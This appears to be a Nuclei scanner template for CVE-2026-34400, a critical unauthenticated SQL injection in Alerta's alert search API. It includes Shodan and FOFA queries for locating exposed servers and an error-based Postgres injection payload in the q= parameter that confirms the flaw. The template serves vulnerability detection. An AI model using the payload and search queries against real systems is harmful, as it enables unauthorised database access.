Copy
id: CVE-2026-34400
info:
name: Alerta - SQL Injection
author: s4e-io
severity: critical
description: |
Alerta versions before 9.1.0 have a SQL injection. User-supplied search terms in the Query string search API (q=) are unsafely interpolated in the Postgres query parser, which lets attackers run arbitrary SQL. Exploitation needs crafted query input.
impact: |
Attackers can execute arbitrary SQL, leading to data disclosure or modification.
remediation: |
Update to version 9.1.0 or later.
reference:
- https://github.com/alerta/alerta/security/advisories/GHSA-8prr-286p-4w7j
- https://github.com/alerta/alerta/pull/2040
- https://github.com/alerta/alerta/commit/fdd52cd1abad8d02d1dfb8ecdcdbb43b6af3b883
- https://github.com/alerta/alerta/releases/tag/v9.1.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-34400
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-34400
epss-score: 0.02465
epss-percentile: 0.85212
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: alerta_project
product: alerta
shodan-query: http.html:"Alerta API"
fofa-query: body="Alerta API" || title="Alerta" && body="alerta-webui"
tags: cve,cve2026,alerta,sqli,unauth
variables:
num: "{{rand_int(100000000, 999999999)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains(body, "Alerta API")'
condition: and
internal: true
- raw:
- |
GET /api/alerts?q=resource:%22x%22%20OR%20CAST(md5(%27{{num}}%27)%20AS%20int)=1-- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains(content_type, "json")'
- 'contains_all(body, "invalid input syntax for type integer", md5(to_string(num)), "\"requestId\"", "\"status\": \"error\"")'
condition: and
# digest: 4b0a00483046022100ff755ef4c60d033795afbb29fc7b2fbc4afc5752ccf818379e377fd6c210bc41022100be82074764d3012461a3016cd06c6a5c60988a3e5e3306973d635bb9eef565bf:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.